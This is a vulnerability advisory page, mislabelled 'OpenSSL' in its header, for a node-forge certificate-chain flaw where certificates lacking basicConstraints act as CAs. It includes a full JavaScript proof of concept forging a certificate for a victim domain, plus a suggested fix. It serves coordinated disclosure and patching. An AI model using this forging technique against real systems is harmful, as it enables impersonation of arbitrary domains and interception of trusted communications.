OpenSSL CVE-2026-33896
HIGHCVSS VectorNVD
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
3Blast Radius
ecosystem impact- 63,951 npm packages depend on node-forge (2,670 direct, 61,380 indirect)
Ecosystem-wide dependent count for version 1.4.0.
DescriptionNVD
Summary
pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.
Technical Details
In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:
- The
keyUsagecheck (which includes a sub-check requiringbasicConstraintsto be present) is gated onkeyUsageExt !== null - The
basicConstraints.cAcheck is gated onbcExt !== null
When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.
RFC 5280 Section 6.1.4 step (k) requires: > "If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."
The absence of basicConstraints should result in rejection, not acceptance.
Proof of Concept
const forge = require('node-forge');
const pki = forge.pki;
function generateKeyPair() {
return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}
console.log('=== node-forge basicConstraints Bypass PoC ===\n');
// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);
const rootAttrs = [
{ name: 'commonName', value: 'Legitimate Root CA' },
{ name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
{ name: 'basicConstraints', cA: true, critical: true },
{ name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 2. Create a "leaf" certificate signed by root - NO basicConstraints, NO keyUsage
// This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);
const leafAttrs = [
{ name: 'commonName', value: 'Non-CA Leaf Certificate' },
{ name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension - NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 3. Create a "victim" certificate signed by the leaf
// This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);
const victimAttrs = [
{ name: 'commonName', value: 'victim.example.com' },
{ name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());
// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);
try {
const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
console.log(' node-forge accepted a non-CA certificate as an intermediate CA!');
console.log(' This violates RFC 5280 Section 6.1.4.');
} catch (e) {
console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}Results:
- Certificate with NO extensions: ACCEPTED as CA (vulnerable - violates RFC 5280)
- Certificate with
basicConstraints.cA=false: correctly rejected - Certificate with
keyUsage(nokeyCertSign): correctly rejected - Proper intermediate CA (control): correctly accepted
Attack Scenario
An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for attacker.com) that lacks basicConstraints and keyUsage extensions can use it to sign certificates for ANY domain. Any application using node-forge's verifyCertificateChain() will accept the forged chain.
This affects applications using node-forge for:
- Custom PKI / certificate pinning implementations
- S/MIME / PKCS#7 signature verification
- IoT device certificate validation
- Any non-native-TLS certificate chain verification
CVE Precedent
This is the same vulnerability class as:
- CVE-2014-0092 (GnuTLS) - certificate verification bypass
- CVE-2015-1793 (OpenSSL) - alternative chain verification bypass
- CVE-2020-0601 (Windows CryptoAPI) - crafted certificate acceptance
Not a Duplicate
This is distinct from:
- CVE-2025-12816 (ASN.1 parser desynchronization - different code path)
- CVE-2025-66030/66031 (DoS and integer overflow - different issue class)
- GitHub issue #1049 (null subject/issuer - different malformation)
Suggested Fix
Add an explicit check for absent basicConstraints on non-leaf certificates:
// After the keyUsage check block, BEFORE the cA check:
if(error === null && bcExt === null) {
error = {
message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',
error: pki.certificateError.bad_certificate
};
}Disclosure Timeline
- 2026-03-10: Report submitted via GitHub Security Advisory
- 2026-06-08: 90-day coordinated disclosure deadline
Credits
Discovered and reported by Doruk Tan Ozturk (@peaktwilight) - doruk.ch
AnalysisAI
The node-forge npm library fails to enforce RFC 5280 basicConstraints validation in its verifyCertificateChain() function, allowing any leaf certificate without basicConstraints and keyUsage extensions to sign other certificates that node-forge accepts as valid. Attackers holding any valid leaf certificate (e.g., a standard TLS certificate) lacking these extensions can forge certificates for arbitrary domains, bypassing certificate chain validation in applications using node-forge for custom PKI implementations, S/MIME verification, or IoT device authentication. …
Sign in for full analysis, threat intelligence, and remediation guidance.
RemediationAI
Within 24 hours: identify all applications and dependencies using node-forge via software bill of materials (SBOM) and dependency scanning tools. Within 7 days: apply the available vendor patch to all affected instances and test in non-production environments to confirm certificate chain validation behavior. …
Sign in for detailed remediation steps.
More from same product – last 7 days
{filename} endpoint. The flawed traversal guard only rejects forward slashes and '..' sequences, so absolute Windows pat
Remote code execution in Microsoft Azure Orbital Spatio allows unauthenticated network attackers to upload dangerous fil
Unsafe deserialization in Microsoft Planetary Computer Pro (Geocatalog) lets a remote unauthenticated attacker craft mal
Remote code execution in Microsoft Power Pages allows unauthenticated network attackers to inject and execute operating-
Privilege elevation in Microsoft Azure Resource Manager (ARM) allows remote unauthenticated attackers to bypass authenti
Vendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today